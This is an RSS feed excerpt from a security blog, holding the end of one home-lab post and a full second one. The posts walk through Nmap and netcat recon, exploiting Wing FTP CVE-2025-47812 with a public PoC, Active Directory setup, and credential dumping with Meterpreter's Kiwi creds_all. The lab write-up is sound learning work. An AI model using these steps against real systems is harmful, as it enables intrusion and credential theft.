&lt;h2&gt;Post-Exploitation: Credential Access with Kiwi (Mimikatz)&lt;/h2&gt;
&lt;p&gt;With a session established, the next step was credential access. The classic approach is to load Mimikatz inside Meterpreter — but Meterpreter now flags Mimikatz as deprecated in favor of its replacement, &lt;strong&gt;Kiwi&lt;/strong&gt;, and loads it automatically:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;meterpreter &gt; load mimikatz
[!] The &quot;mimikatz&quot; extension has been replaced by &quot;kiwi&quot;. Please use this in future.
Loading extension kiwi ...
Success.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Reference used for the Kiwi workflow: &lt;a href=&quot;https://labex.io/tutorials/kali-use-kiwi-to-extract-plaintext-passwords-in-meterpreter-594373&quot;&gt;Kali - Use Kiwi to Extract Plaintext Passwords in Meterpreter (LabEx)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/22.CoSWoOz2_Z1vqw7K.webp&quot; alt=&quot;load kiwi output&quot;&gt;
&lt;em&gt;Kiwi extension loaded automatically in place of Mimikatz&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;To pull credentials from the compromised host:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;creds_all
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/23.6b0GcPxd_Z1q9luF.webp&quot; alt=&quot;creds_all output showing NTLM hashes&quot;&gt;
&lt;em&gt;NTLM hash retrieved for the local account, running as SYSTEM&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;This lab covered a good spread of practical skills: setting up cross-platform file sharing with Samba, offline password cracking with John the Ripper, vulnerability scanning with Nmap and Nikto, and — after confirming the patched Server 2022 box wasn&apos;t exploitable — standing up a deliberately vulnerable Windows 7 target to walk through the classic &lt;strong&gt;EternalBlue (MS17-010)&lt;/strong&gt; SMB exploit end-to-end with Metasploit, from initial shell to credential harvesting with Kiwi.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Up next:&lt;/strong&gt; brute-forcing SMB/RDP/WinRM and setting up persistence on the target.&lt;/p&gt;</content:encoded><h:img src="/_astro/sddefault.DxUuEOA3.jpg"/><enclosure url="/_astro/sddefault.DxUuEOA3.jpg"/></item><item><title>Home AD Lab: Recon &amp; Wing FTP RCE</title><link>https://zy0ud.me/blog/home-ad-lab-part1-recon-wingftp-adds</link><guid isPermaLink="true">https://zy0ud.me/blog/home-ad-lab-part1-recon-wingftp-adds</guid><description>First post in a lab series where I&apos;m building out a small attacker/target environment and working through a simplified end-to-end attack chain — starting…</description><pubDate>Thu, 01 Jan 2026 17:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Aside } from &apos;astro-pure/user&apos;&lt;/p&gt;
&lt;h2&gt;Overview&lt;/h2&gt;
&lt;p&gt;First post in a lab series where I&apos;m building out a small attacker/target environment and working through a simplified end-to-end attack chain — starting here with environment setup, initial reconnaissance, a real CVE exploit, and standing up Active Directory Domain Services.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Step 1: Environment Setup&lt;/h2&gt;
&lt;p&gt;I set up two VMs on VMware Workstation:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Kali Linux&lt;/strong&gt; — attacker machine&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Windows Server 2022&lt;/strong&gt; — target machine&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/01-kali-terminal.CPcWDKv1_ZMYM0W.webp&quot; alt=&quot;Kali Linux terminal&quot;&gt;
&lt;em&gt;Kali Linux attacker machine&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/02-windows-desktop.Ben9haJB_Z192uGD.webp&quot; alt=&quot;Windows target desktop&quot;&gt;
&lt;em&gt;Windows Server target machine&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Step 2: Network Configuration and Testing&lt;/h2&gt;
&lt;p&gt;Verified connectivity between the two hosts with basic ping tests in both directions before doing anything else — no point running recon against a host that isn&apos;t even reachable.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/03-ping-kali-to-target.DKEpLrQ2_Z1b2mK4.webp&quot; alt=&quot;Ping test from Kali to the target&quot;&gt;
&lt;em&gt;Connectivity confirmed from the attacker side&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/04-ping-windows-to-host.Ditt9kvK_2h3CK7.webp&quot; alt=&quot;Ping test from the Windows host&quot;&gt;
&lt;em&gt;Connectivity confirmed from the target side&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Step 3: Creating Named Accounts&lt;/h2&gt;
&lt;p&gt;Set up a named (non-default) account on each machine so activity could be tracked cleanly across the environment.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;whoami
id
hostnamectl
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/05-kali-whoami-id-hostname.iU-NTGE7_Z1HLNWo.webp&quot; alt=&quot;Kali account identification&quot;&gt;
&lt;em&gt;Confirming the working account and host details on Kali&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/06-windows-account-info.48XQmekd_1R9aSb.webp&quot; alt=&quot;Windows account info&quot;&gt;
&lt;em&gt;Named local account on the Windows target&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/07-windows-system-info.Ckg6Hxu1_1hYwd7.webp&quot; alt=&quot;Windows system info&quot;&gt;
&lt;em&gt;Target system specs: Windows Server 2022 Standard&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Step 4: Initial Reconnaissance with Nmap&lt;/h2&gt;
&lt;p&gt;Started broad, then narrowed down:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Host discovery
nmap -sn 192.168.1.0/24

# Full port sweep of the target&apos;s first 1000 ports
nmap -sS -p 1-1000 192.168.1.39

# Service/version detection on open ports
nmap -sV 192.168.1.39
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/08-nmap-sn.DmmfOzQ1_Z1bGDQa.webp&quot; alt=&quot;nmap host discovery&quot;&gt;
&lt;em&gt;Sweeping the subnet for live hosts&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/09-nmap-ss.DDkNY24m_Z27l8of.webp&quot; alt=&quot;nmap SYN scan&quot;&gt;
&lt;em&gt;Port scan of the target — FTP, SSH, HTTP/HTTPS, RDP, Microsoft-DS found open&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/10-nmap-sv.CMS9njs1_qo4HC.webp&quot; alt=&quot;nmap service/version detection&quot;&gt;
&lt;em&gt;Confirming Wing FTP Server as the service on port 21&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Step 5: Banner Grabbing and Service Enumeration&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Manual banner grab with Netcat:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nc -v 192.168.1.39 21
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/11-netcat-banner-grab.uFvhginf_ZcoAPn.webp&quot; alt=&quot;Netcat banner grab&quot;&gt;
&lt;em&gt;Manually confirming the FTP banner&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Script-assisted banner confirmation with Nmap:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nmap --script banner 192.168.1.39
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/12-nmap-script-banner.C0DGk-AX_Z1lbGQS.webp&quot; alt=&quot;nmap banner script&quot;&gt;
&lt;em&gt;Cross-checking service banners across all open ports&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Vulnerability scan:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nmap --script vuln 192.168.1.39
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/13-nmap-script-vuln.Bg6oXrHW_Z5EgOg.webp&quot; alt=&quot;nmap vulnerability scan&quot;&gt;
&lt;em&gt;Flagged a possible admin folder at &lt;code&gt;/login.html&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Nmap&apos;s vulnerability scripts flagged a &lt;strong&gt;possible admin folder&lt;/strong&gt; at &lt;code&gt;/login.html&lt;/code&gt; on the server — a small detail, but exactly the kind of thing worth following up on.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Step 6: Exploit Discovery — Wing FTP Server RCE (CVE-2025-47812)&lt;/h2&gt;
&lt;p&gt;The FTP service version I found matched a known, critical vulnerability: &lt;strong&gt;Wing FTP Server Remote Code Execution&lt;/strong&gt;, tracked as &lt;strong&gt;CVE-2025-47812&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Public proof-of-concept: &lt;a href=&quot;https://github.com/4m3rr0r/CVE-2025-47812-poc&quot;&gt;4m3rr0r/CVE-2025-47812-poc&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/14-exploit-help-menu.Sj5M6ntU_Z1p3tN1.webp&quot; alt=&quot;Exploit script help menu&quot;&gt;
&lt;em&gt;PoC script usage — command injection via &lt;code&gt;login.html&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Using the published PoC script against the target, I was able to remotely execute the &lt;code&gt;systeminfo&lt;/code&gt; command on the Windows Server — confirming working remote code execution through the vulnerable FTP service, with &lt;strong&gt;no credentials required&lt;/strong&gt; (defaults to an anonymous/null login).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/15-exploit-run-systeminfo-output.VVQqo-tU_1o27ss.webp&quot; alt=&quot;Exploit run with systeminfo output&quot;&gt;
&lt;em&gt;Remote code execution confirmed — full &lt;code&gt;systeminfo&lt;/code&gt; returned over the vulnerable FTP service&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Step 7: Setting Up Active Directory Domain Services (AD DS)&lt;/h2&gt;
&lt;p&gt;With initial access demonstrated, I switched to the defender/builder side and turned the Windows Server into a Domain Controller.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Installing the AD DS role and promoting to a Domain Controller:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;Import-Module ADDSDeployment
Install-ADDSForest `
  -CreateDnsDelegation:$false `
  -DatabasePath &quot;C:\Windows\NTDS&quot; `
  -DomainMode &quot;WinThreshold&quot; `
  -DomainName &quot;lab.local&quot; `
  -DomainNetbiosName &quot;LAB&quot; `
  -ForestMode &quot;WinThreshold&quot; `
  -InstallDns:$true `
  -LogPath &quot;C:\Windows\NTDS&quot; `
  -NoRebootOnCompletion:$false `
  -SysvolPath &quot;C:\Windows\SYSVOL&quot; `
  -Force:$true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/16-server-manager-adds.Ccwys8QU_Z1DVq0d.webp&quot; alt=&quot;Server Manager AD DS role installed&quot;&gt;
&lt;em&gt;AD DS role installed and the server online as a Domain Controller&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Creating an OU, users, and a security group:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Using Active Directory Users and Computers (ADUC), I created a &lt;code&gt;LabUsers&lt;/code&gt; Organizational Unit, added domain user accounts under it, and grouped them under a security group.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/17-aduc-labusers-ou.OFtep-nl_Z2cml1r.webp&quot; alt=&quot;ADUC LabUsers OU&quot;&gt;
&lt;em&gt;LabUsers Organizational Unit with domain user accounts&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/18-group-members-tab.CBYHbygt_Z1sbnUL.webp&quot; alt=&quot;Security group members&quot;&gt;
&lt;em&gt;Security group membership showing the three domain users&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Verifying with PowerShell:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;Get-ADUser -Filter * -SearchBase &quot;OU=LabUsers,DC=lab,DC=local&quot; | Select-Object SamAccountName
Get-ADGroupMember Team_Group2 | Select-Object Name,SamAccountName
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/19-get-aduser-adgroupmember-output.0NmSKfjy_Z1d0uMm.webp&quot; alt=&quot;PowerShell AD verification&quot;&gt;
&lt;em&gt;Confirming domain users and group membership via PowerShell&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;This lab established a complete virtual attacker/target environment: Kali Linux against Windows Server 2022 on VMware Workstation, with verified connectivity, thorough Nmap-based reconnaissance, and confirmed service enumeration (FTP, SSH, HTTP/HTTPS, RDP, Microsoft-DS on &lt;code&gt;192.168.1.39&lt;/code&gt;), including a flagged admin panel at &lt;code&gt;/login.html&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The standout result: a critical, real-world vulnerability — &lt;strong&gt;Wing FTP Server RCE (CVE-2025-47812)&lt;/strong&gt; — was identified from service fingerprinting alone and successfully exploited to achieve remote code execution.&lt;/p&gt;
&lt;p&gt;On the infrastructure side, the server was promoted to a Domain Controller for &lt;code&gt;lab.local&lt;/code&gt;, with a proper OU structure, domain users, and a security group in place — the foundation the next posts in this series will build on.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Up next:&lt;/strong&gt; file sharing, password cracking, and SMB exploitation in the same lab.&lt;/p&gt;</content:encoded><h:img src="/_astro/1_cQGpZGkSuehv--YEXUweMQ.mbQy5lGY.png"/><enclosure url="/_astro/1_cQGpZGkSuehv--YEXUweMQ.mbQy5lGY.png"/></item></channel></rss>